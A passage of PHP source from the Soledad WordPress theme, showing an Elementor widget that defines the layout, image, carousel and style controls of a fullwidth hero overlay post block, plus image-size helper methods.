class Module extends Module_Base {

	public function get_name() {
		return 'penci-fullwidth-hero-overlay';
	}

	public function get_widgets() {
		return array( 'PenciFullwidthHeroOverlay' );
	}
}
PK     N\'
  
  [  inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciFullwidthHeroOverlay\Widgets;

use Elementor\Controls_Manager;
use Elementor\Group_Control_Typography;
use PenciSoledadElementor\Base\Base_Widget;
use PenciSoledadElementor\Modules\QueryControl\Module as Query_Control;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciFullwidthHeroOverlay extends Base_Widget {

	public function get_name() {
		return 'penci-fullwidth-hero-overlay';
	}

	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( ' Fullwidth Hero Overlay', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-gallery-grid';
	}

	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return array( 'list', 'post', 'small', 'slider', 'carousel' );
	}

	protected function register_controls() {


		// Section general
		$this->start_controls_section(
			'section_type', array(
				'label' => esc_html__( 'General', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			)
		);

		$this->add_responsive_control(
			'container_width',
			[
				'label'      => __( 'Container Width', 'soledad' ),
				'type'       => Controls_Manager::SLIDER,
				'size_units' => [ '%', 'px' ],
				'range'      => [
					'px' => [
						'min'  => 500,
						'max'  => 2000,
						'step' => 1,
					],
					'%'  => [
						'min'  => 0,
						'max'  => 100,
						'step' => 0.1,
					],
				],
				'default'    => [
					'unit' => 'px',
					'size' => '1170',
				],
				'selectors'  => [
					'{{WRAPPER}} .pc-fho-container' => 'max-width: {{SIZE}}{{UNIT}};',
				],
			]
		);

		$this->add_control(
			'column',
			array(
				'label'   => __( 'Small Posts Columns', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'options' => array(
					'1' => '1',
					'2' => '2',
					'3' => '3',
					'4' => '4',
					'5' => '5',
					'6' => '6',
				),
				'default' => '4',
			)
		);

		$this->add_control(
			'tab_column',
			array(
				'label'   => __( 'Small Posts Columns on Tablet', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'options' => array(
					''  => 'Default',
					'2' => '2',
					'3' => '3',
					'4' => '4',
				),
				'default' => '',
			)
		);

		$this->add_control(
			'mb_column',
			array(
				'label'   => __( 'Small Posts Columns on Mobile', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'options' => array(
					''  => 'Default',
					'1' => '1',
					'2' => '2',
				),
				'default' => '',
			)
		);

		$this->end_controls_section();

		$this->register_query_section_controls();

		$this->start_controls_section(
			'section_image', array(
				'label' => esc_html__( 'Image', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			)
		);

		$this->add_control(
			'disable_lazy', array(
				'label'        => __( 'Disable Lazyload Images?', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'label_on'     => __( 'Yes', 'soledad' ),
				'label_off'    => __( 'No', 'soledad' ),
				'return_value' => 'yes',
				'default'      => '',
			)
		);

		$this->add_control(
			'main_thumb_size', array(
				'label'   => __( 'Image Size for Big Post', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => '',
				'options' => $this->get_list_image_sizes( true ),
			)
		);

		$this->add_control(
			'main_mthumb_size', array(
				'label'   => __( 'Image Size for Big Post on Mobile', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => '',
				'options' => $this->get_list_image_sizes( true ),
			)
		);

		$this->add_responsive_control(
			'img_ratio', array(
				'label'     => __( 'Image Ratio for Small Posts', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 1, 'max' => 300, 'step' => 0.5 ) ),
				'selectors' => array(
					'{{WRAPPER}} .pc-fho-li .penci-image-holder:before' => 'padding-top: {{SIZE}}%;',
				),
			)
		);

		$this->add_control(
			'thumb_size', array(
				'label'   => __( 'Image Size for Small Posts', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => '',
				'options' => $this->get_list_image_sizes( true ),
			)
		);

		$this->add_control(
			'mthumb_size', array(
				'label'   => __( 'Image Size for Small Posts on Mobile', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => '',
				'options' => $this->get_list_image_sizes( true ),
			)
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_postmeta', array(
				'label' => esc_html__( 'Post Meta Data', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			)
		);

		$this->add_control(
			'post_meta', array(
				'label'    => __( 'Showing Post Meta', 'soledad' ),
				'type'     => Controls_Manager::SELECT2,
				'default'  => array( 'title', 'author', 'date' ),
				'multiple' => true,
				'options'  => array(
					'cat'     => esc_html__( 'Categories', 'soledad' ),
					'author'  => esc_html__( 'Author', 'soledad' ),
					'date'    => esc_html__( 'Date', 'soledad' ),
					'comment' => esc_html__( 'Comments', 'soledad' ),
					'views'   => esc_html__( 'Views', 'soledad' ),
					'reading' => esc_html__( 'Reading Time', 'soledad' ),
				),
			)
		);

		$this->add_control(
			'primary_cat', array(
				'label'        => __( 'Show Primary Category Only', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'description'  => __( 'If you using Yoast SEO or Rank Math plugin, this option will show only the primary category from those plugins. If you don\'t use those plugins, it will show the first category in the list categories of the posts.', 'soledad' ),
				'label_on'     => __( 'On', 'soledad' ),
				'label_off'    => __( 'Off', 'soledad' ),
				'return_value' => 'on',
				'default'      => '',
			)
		);

		$this->add_control(
			'title_length', array(
				'label'   => __( 'Custom Title Words Length', 'soledad' ),
				'type'    => Controls_Manager::NUMBER,
				'min'     => 1,
				'max'     => 100,
				'step'    => 1,
				'default' => '',
			)
		);

		$this->add_control(
			'title_blength', array(
				'label'   => __( 'Custom Title Words Length for Big Post', 'soledad' ),
				'type'    => Controls_Manager::NUMBER,
				'min'     => 1,
				'max'     => 100,
				'step'    => 1,
				'default' => '',
			)
		);

		$this->add_control(
			'show_bicon', array(
				'label'        => __( 'Hide Post Format Icon on Big Post?', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'label_on'     => __( 'Yes', 'soledad' ),
				'label_off'    => __( 'No', 'soledad' ),
				'return_value' => 'yes',
				'default'      => '',
			)
		);

		$this->add_control(
			'show_formaticon', array(
				'label'        => __( 'Show Post Format Icons on Small Posts?', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'label_on'     => __( 'Yes', 'soledad' ),
				'label_off'    => __( 'No', 'soledad' ),
				'return_value' => 'yes',
				'default'      => '',
			)
		);

		$this->add_control(
			'show_reviewpie', array(
				'label'        => __( 'Show Review Scores from Penci Review plugin', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'label_on'     => __( 'Yes', 'soledad' ),
				'label_off'    => __( 'No', 'soledad' ),
				'return_value' => 'yes',
				'default'      => '',
			)
		);

		$this->add_control(
			'heading_show_mobile',
			array(
				'label'     => __( 'Showing on Mobile', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			)
		);

		$this->add_control(
			'hide_cat_mobile', array(
				'label'        => __( 'Hide Post Categories on Mobile?', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'return_value' => 'yes',
				'default'      => '',
			)
		);

		$this->add_control(
			'hide_meta_mobile', array(
				'label'        => __( 'Hide Post Meta on Mobile', 'soledad' ),
				'description'  => __( 'Include: Author Name, Date, Comments Count, Views Count, Reading Time', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'return_value' => 'yes',
				'default'      => '',
			)
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_carousel_options',
			array(
				'label' => __( 'Carousel Options', 'soledad' ),
			)
		);

		$this->add_control( 'carousel_slider_effect', array(
			'label'       => __( 'Carousel Slider Effect', 'soledad' ),
			'description' => __( 'The "Swing" effect does not support the loop option.', 'soledad' ),
			'type'        => Controls_Manager::SELECT,
			'default'     => get_theme_mod( 'penci_carousel_slider_effect', 'swing' ),
			'options'     => array(
				'default' => 'Default',
				'swing'   => 'Swing',
			),
		) );

		$this->add_control(
			'autoplay', array(
				'label'   => __( 'Autoplay', 'soledad' ),
				'type'    => Controls_Manager::SWITCHER,
				'default' => 'yes',
			)
		);

		$this->add_control(
			'loop', array(
				'label'     => __( 'Carousel Loop', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'default'   => 'yes',
				'condition' => [ 'carousel_slider_effect' => 'default' ],
			)
		);
		$this->add_control(
			'auto_time', array(
				'label'   => __( 'Carousel Auto Time ( 1000 = 1s )', 'soledad' ),
				'type'    => Controls_Manager::NUMBER,
				'default' => 4000,
			)
		);
		$this->add_control(
			'speed', array(
				'label'   => __( 'Carousel Speed ( 1000 = 1s )', 'soledad' ),
				'type'    => Controls_Manager::NUMBER,
				'default' => 600,
			)
		);
		$this->add_control(
			'shownav', array(
				'label' => __( 'Hide next/prev buttons', 'soledad' ),
				'type'  => Controls_Manager::SWITCHER,
			)
		);
		$this->add_control(
			'showdots', array(
				'label' => __( 'Show dots navigation', 'soledad' ),
				'type'  => Controls_Manager::SWITCHER,
			)
		);

		$this->end_controls_section();

		$this->register_block_title_section_controls();

		$this->start_controls_section(
			'section_style_content',
			array(
				'label' => __( 'Big Post', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			)
		);

		$this->add_control(
			'item_bg',
			array(
				'label'     => __( 'Overlay Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .pc-fho-wrap' => '--obg: {{VALUE}};' ),
			)
		);

		$this->add_control(
			'item_bg_hover',
			array(
				'label'     => __( 'Overlay Background Color on Hover', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .pc-fho-wrap' => '--ohbg: {{VALUE}};' ),
			)
		);

		$this->add_responsive_control(
			'item_padding', array(
				'label'      => __( 'Element Padding', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => array( 'px', '%', 'em' ),
				'selectors'  => array(
					'{{WRAPPER}} .pc-fho-wrap .pc-fho-bg-wrap' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
				),
			)
		);

		$this->add_responsive_control(
			'mp_item_padding', array(
				'label'      => __( 'Big Post Padding', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => array( 'px', '%', 'em' ),
				'selectors'  => array(
					'{{WRAPPER}} .pc-fho-wrap .pc-fho-mp' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
				),
			)
		);

		$this->add_responsive_control(
			'mp_icon_iw', array(
				'label'     => __( 'Icon/Content Width ( % )', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( '%' => array( 'min' => 20, 'max' => 50, 'step' => 1 ) ),
				'selectors' => array(
					'(tablet+){{WRAPPER}} .pc-fho-wrap' => '--iconw: {{SIZE}}%;'
				),
			)
		);

		$this->add_responsive_control(
			'mp_icon_content_spacing', array(
				'label'     => __( 'Spacing Between Icon & Content', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 1, 'max' => 200, 'step' => 1 ) ),
				'selectors' => array(
					'{{WRAPPER}} .pc-fho-wrap' => '--maingap: {{SIZE}}px;'
				),
			)
		);

		$this->add_responsive_control(
			'mp_lp_spacing', array(
				'label'     => __( 'Spacing Between Big Post & Small Posts', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 300, 'step' => 1 ) ),
				'selectors' => array(
					'{{WRAPPER}} .pc-fho-wrap .pc-fho-msli' => 'margin-top: {{SIZE}}px;'
				),
			)
		);

		$this->add_control(
			'mp_icon_heading_title',
			array(
				'label'     => __( 'Big Post Icon', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			)
		);

		$this->add_responsive_control(
			'mp_icon_align', array(
				'label'       => __( 'Icon Position', 'soledad' ),
				'type'        => Controls_Manager::CHOOSE,
				'label_block' => false,
				'options'     => array(
					'row'         => array(
						'title' => __( 'Left', 'soledad' ),
						'icon'  => 'eicon-text-align-left',
					),
					'row-reverse' => array(
						'title' => __( 'Right', 'soledad' ),
						'icon'  => 'eicon-text-align-right',
					),
				),
				'selectors'   => array(
					'{{WRAPPER}} .pc-fho-wrap .pc-fho-mpct' => 'flex-direction: {{VALUE}}'
				)
			)
		);

		$this->add_responsive_control(
			'mp_icon_talign', array(
				'label'       => __( 'Icon Align', 'soledad' ),
				'type'        => Controls_Manager::CHOOSE,
				'label_block' => false,
				'default'     => 'center',
				'options'     => array(
					'flex-start' => array(
						'title' => __( 'Left', 'soledad' ),
						'icon'  => 'eicon-text-align-left',
					),
					'center'     => array(
						'title' => __( 'Center', 'soledad' ),
						'icon'  => 'eicon-text-align-center',
					),
					'flex-end'   => array(
						'title' => __( 'Right', 'soledad' ),
						'icon'  => 'eicon-text-align-right',
					),
				),
				'selectors'   => array(
					'{{WRAPPER}} .pc-fho-wrap .pc-fho-mpct .pc-fho-mi' => 'justify-content: {{VALUE}}'
				)
			)
		);

		$this->add_responsive_control(
			'mp_icon_size', array(
				'label'     => __( 'Icon Wrapper Size', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 1, 'max' => 300, 'step' => 1 ) ),
				'selectors' => array(
					'{{WRAPPER}} .pc-fho-wrap' => '--iconsz: {{SIZE}}px;'
				),
			)
		);

		$this->add_responsive_control(
			'mp_icon_border_width', array(
				'label'     => __( 'Borders Width', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 50, 'step' => 1 ) ),
				'selectors' => array(
					'{{WRAPPER}} .pc-fho-wrap' => '--iconbd: {{SIZE}}px;'
				),
			)
		);

		$this->add_responsive_control(
			'mp_icon_i_size', array(
				'label'     => __( 'Icon Size', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 1, 'max' => 100, 'step' => 1 ) ),
				'selectors' => array(
					'{{WRAPPER}} .pc-fho-wrap .pc-fho-mi-i i' => 'font-size: {{SIZE}}px;'
				),
			)
		);

		$this->add_control(
			'mp_icon_border_color',
			array(
				'label'     => __( 'Border Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .pc-fho-wrap .pc-fho-mi-i' => 'border-color: {{VALUE}};' ),
			)
		);

		$this->add_control(
			'mp_icon_bg_color',
			array(
				'label'     => __( 'Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .pc-fho-wrap .pc-fho-mi-i' => 'background-color: {{VALUE}};' ),
			)
		);

		$this->add_control(
			'mp_icon_color',
			array(
				'label'     => __( 'Icon Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .pc-fho-wrap .pc-fho-mi-i' => 'color: {{VALUE}};' ),
			)
		);

		$this->add_control(
			'heading_pcat',
			array(
				'label'     => __( 'Big Post Categories', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			)
		);

		$this->add_control(
			'cat_color',
			array(
				'label'     => __( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .pc-fho-wrap .pc-fho-main-cat,{{WRAPPER}} .pc-fho-wrap .pc-fho-main-cat a' => 'color: {{VALUE}};' ),
			)
		);

		$this->add_control(
			'cat_hcolor',
			array(
				'label'     => __( 'Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .pc-fho-wrap .pc-fho-main-cat a:hover' => 'color: {{VALUE}};' ),
			)
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'cat_typo',
				'label'    => __( 'Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .pc-fho-wrap .pc-fho-main-cat,{{WRAPPER}} .pc-fho-wrap .pc-fho-main-cat a',
			)
		);

		$this->add_control(
			'heading_ptitle',
			array(
				'label'     => __( 'Big Post Title', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			)
		);

		$this->add_control(
			'title_color',
			array(
				'label'     => __( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .pc-fho-wrap .pc-fho-mc .pc-fho-mt a' => 'color: {{VALUE}};' ),
			)
		);

		$this->add_control(
			'title_hcolor',
			array(
				'label'     => __( 'Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .pc-fho-wrap .pc-fho-mc .pc-fho-mt a:hover' => 'color: {{VALUE}};' ),
			)
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'title_typo',
				'label'    => __( 'Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .pc-fho-wrap .pc-fho-mc .pc-fho-mt h3',
			)
		);

		$this->add_control(
			'heading_meta',
			array(
				'label'     => __( 'Big Post Meta', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			)
		);

		$this->add_control(
			'meta_color',
			array(
				'label'     => __( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .pc-fho-wrap .pc-fho-mc .pc-fho-mm span, {{WRAPPER}} .pc-fho-wrap .pc-fho-mc .pc-fho-mm a' => 'color: {{VALUE}};' ),
			)
		);

		$this->add_control(
			'links_color',
			array(
				'label'     => __( 'Links Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .pc-fho-wrap .pc-fho-mc .pc-fho-mm span a' => 'color: {{VALUE}};' ),
			)
		);

		$this->add_control(
			'links_hcolor',
			array(
				'label'     => __( 'Links Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .pc-fho-wrap .pc-fho-mc .pc-fho-mm span a:hover' => 'color: {{VALUE}};' ),
			)
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'meta_typo',
				'label'    => __( 'Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .pc-fho-wrap .pc-fho-mc .pc-fho-mm',
			)
		);

		$this->end_controls_section();

		// small list post
		$this->start_controls_section(
			'small_post_section_style_content',
			array(
				'label' => __( 'Small List Posts', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			)
		);

		$this->add_control(
			'sitem_bg',
			array(
				'label'     => __( 'Overlay Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .pc-fho-wrap' => '--sobg: {{VALUE}};' ),
			)
		);

		$this->add_control(
			'sitem_bg_hover',
			array(
				'label'     => __( 'Overlay Background Color on Hover', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .pc-fho-wrap' => '--sohbg: {{VALUE}};' ),
			)
		);

		$this->add_responsive_control(
			'small_post_item_bg',
			array(
				'label'     => __( 'Post Content Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .pc-fho-wrap .pc-fho-li .pc-fho-li-ct-inner-wrap' => 'background-color: {{VALUE}};' ),
			)
		);

		$this->add_responsive_control(
			'small_post_item_padding', array(
				'label'      => __( 'Post Content Padding', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => array( 'px', '%', 'em' ),
				'selectors'  => array(
					'{{WRAPPER}} .pc-fho-wrap .pc-fho-li .pc-fho-li-ct-wrap' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
				),
			)
		);

		$this->add_responsive_control(
			'small_post_text_align', array(
				'label'       => __( 'Content Text Align', 'soledad' ),
				'type'        => Controls_Manager::CHOOSE,
				'label_block' => false,
				'options'     => array(
					'left'   => array(
						'title' => __( 'Left', 'soledad' ),
						'icon'  => 'eicon-text-align-left',
					),
					'center' => array(
						'title' => __( 'Center', 'soledad' ),
						'icon'  => 'eicon-text-align-center',
					),
					'right'  => array(
						'title' => __( 'Right', 'soledad' ),
						'icon'  => 'eicon-text-align-right',
					),
				),
				'selectors'   => array(
					'{{WRAPPER}} .pc-fho-wrap .pc-fho-li .pc-fho-li-ct-wrap' => 'text-align: {{VALUE}}'
				)
			)
		);

		$this->add_responsive_control(
			'small_post_heading_pcat',
			array(
				'label'     => __( 'Post Categories', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			)
		);

		$this->add_responsive_control(
			'small_post_cat_color',
			array(
				'label'     => __( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .pc-fho-wrap .pc-fho-list-cat,{{WRAPPER}} .pc-fho-wrap .pc-fho-list-cat a' => 'color: {{VALUE}};' ),
			)
		);

		$this->add_responsive_control(
			'small_post_cat_hcolor',
			array(
				'label'     => __( 'Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .pc-fho-wrap .pc-fho-list-cat a:hover' => 'color: {{VALUE}};' ),
			)
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'small_post_cat_typo',
				'label'    => __( 'Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .pc-fho-wrap .pc-fho-list-cat,{{WRAPPER}} .pc-fho-wrap .pc-fho-list-cat a',
			)
		);

		$this->add_control(
			'small_post_heading_ptitle',
			array(
				'label'     => __( 'Post Title', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			)
		);

		$this->add_responsive_control(
			'small_post_title_color',
			array(
				'label'     => __( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .pc-fho-wrap .pc-fho-li .pc-fho-lt a' => 'color: {{VALUE}};' ),
			)
		);

		$this->add_responsive_control(
			'small_post_title_hcolor',
			array(
				'label'     => __( 'Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .pc-fho-wrap .pc-fho-li .pc-fho-lt a:hover' => 'color: {{VALUE}};' ),
			)
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'small_post_title_typo',
				'label'    => __( 'Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .pc-fho-wrap .pc-fho-li .pc-fho-lt h3',
			)
		);

		$this->add_control(
			'small_post_heading_meta',
			array(
				'label'     => __( 'Post Meta', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			)
		);

		$this->add_responsive_control(
			'small_post_meta_color',
			array(
				'label'     => __( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .pc-fho-wrap .pc-fho-li .pc-fho-lm span, .pc-fho-wrap .pc-fho-li .pc-fho-lm a' => 'color: {{VALUE}};' ),
			)
		);

		$this->add_responsive_control(
			'small_post_links_color',
			array(
				'label'     => __( 'Links Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .pc-fho-wrap .pc-fho-li .pc-fho-lm a' => 'color: {{VALUE}};' ),
			)
		);

		$this->add_responsive_control(
			'small_post_links_hcolor',
			array(
				'label'     => __( 'Links Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .pc-fho-wrap .pc-fho-li .pc-fho-lm a:hover' => 'color: {{VALUE}};' ),
			)
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'small_post_meta_typo',
				'label'    => __( 'Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .pc-fho-wrap .pc-fho-li .pc-fho-lm',
			)
		);

		$this->add_control(
			'small_post_heading_icon_format',
			array(
				'label'     => __( 'Post Icon Format', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
				'condition' => array( 'show_reviewpie' => array( 'yes' ) ),
			)
		);

		$this->add_control(
			'small_post_fm_bd_cl',
			array(
				'label'     => __( 'Border Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .pcbg-thumb .icon-post-format' => 'border-color: {{VALUE}};' ),
				'condition' => array( 'show_reviewpie' => array( 'yes' ) ),
			)
		);

		$this->add_control(
			'small_post_fm_bg_cl',
			array(
				'label'     => __( 'Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .pcbg-thumb .icon-post-format' => 'background-color: {{VALUE}};' ),
				'condition' => array( 'show_reviewpie' => array( 'yes' ) ),
			)
		);

		$this->add_control(
			'small_post_fm_cl',
			array(
				'label'     => __( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .pcbg-thumb .icon-post-format' => 'color: {{VALUE}};' ),
				'condition' => array( 'show_reviewpie' => array( 'yes' ) ),
			)
		);

		$this->add_control(
			'small_post_heading_ele_spacing',
			array(
				'label'     => __( 'Elements Spacing', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			)
		);

		$this->add_responsive_control(
			'small_post_post_spacing', array(
				'label'     => __( 'Horizontal Spacing Between each Posts', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
				'selectors' => array(
					'{{WRAPPER}} .pc-fho-wrap' => '--gap: {{SIZE}}px;',
				),
			)
		);

		$this->add_responsive_control(
			'small_post_post_vspacing', array(
				'description' => __( 'This option does not apply when small posts showing as slider', 'soledad' ),
				'label'       => __( 'Vertical Spacing Between each Posts', 'soledad' ),
				'type'        => Controls_Manager::SLIDER,
				'range'       => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
				'selectors'   => array(
					'{{WRAPPER}} .pc-fho-wrap' => '--vgap: {{SIZE}}px;',
				),
			)
		);

		$this->add_responsive_control(
			'small_post_thumbnail_space', array(
				'label'     => __( 'Post Thumbnail Margin Bottom', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
				'selectors' => array(
					'{{WRAPPER}} .pc-fho-wrap .pc-fho-li .pc-fho-list-img' => 'margin-bottom: {{SIZE}}px;',
				),
			)
		);

		$this->add_responsive_control(
			'small_post_cat_space', array(
				'label'     => __( 'Categories Margin Bottom', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
				'selectors' => array(
					'{{WRAPPER}} .pc-fho-wrap .pc-fho-list-cat' => 'margin-bottom: {{SIZE}}px;',
				),
			)
		);

		$this->add_responsive_control(
			'small_post_meta_space', array(
				'label'     => __( 'Post Meta Margin Top', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
				'selectors' => array(
					'{{WRAPPER}} .pc-fho-wrap .pc-fho-li .pc-fho-lm' => 'margin-top: {{SIZE}}px;',
				),
			)
		);

		$this->end_controls_section();
		// end Big Post list post

		$this->register_block_title_style_section_controls();

	}

	/**
	 * Get image sizes.
	 *
	 * Retrieve available image sizes after filtering `include` and `exclude` arguments.
	 */
	public function get_list_image_sizes( $default = false ) {
		$wp_image_sizes = $this->get_all_image_sizes();

		$image_sizes = array();

		if ( $default ) {
			$image_sizes[''] = esc_html__( 'Default', 'soledad' );
		}

		foreach ( $wp_image_sizes as $size_key => $size_attributes ) {
			$control_title = ucwords( str_replace( '_', ' ', $size_key ) );
			if ( is_array( $size_attributes ) ) {
				$control_title .= sprintf( ' - %d x %d', $size_attributes['width'], $size_attributes['height'] );
			}

			$image_sizes[ $size_key ] = $control_title;
		}

		$image_sizes['full'] = esc_html__( 'Full', 'soledad' );

		return $image_sizes;
	}

	public function get_all_image_sizes() {
		global $_wp_additional_image_sizes;

		$default_image_sizes = [ 'thumbnail', 'medium', 'medium_large', 'large' ];

		$image_sizes = [];

		foreach ( $default_image_sizes as $size ) {
			$image_sizes[ $size ] = [
				'width'  => (int) get_option( $size . '_size_w' ),
				'height' => (int) get_option( $size . '_size_h' ),
				'crop'   => (bool) get_option( $size . '_crop' ),
			];
		}

		if ( $_wp_additional_image_sizes ) {
			$image_sizes = array_merge( $image_sizes, $_wp_additional_image_sizes );
		}

		return $image_sizes;
	}

	protected function render() {
		$settings = $this->get_settings();

		$original_postype = $settings['posts_post_type'];

		if ( in_array( $original_postype, [
				'current_query',
				'related_posts'
			] ) && penci_elementor_is_edit_mode() && penci_is_builder_template() ) {
			$settings['posts_post_type'] = 'post';
		}

		//query
		$args          = Query_Control::get_query_args( 'posts', $settings );
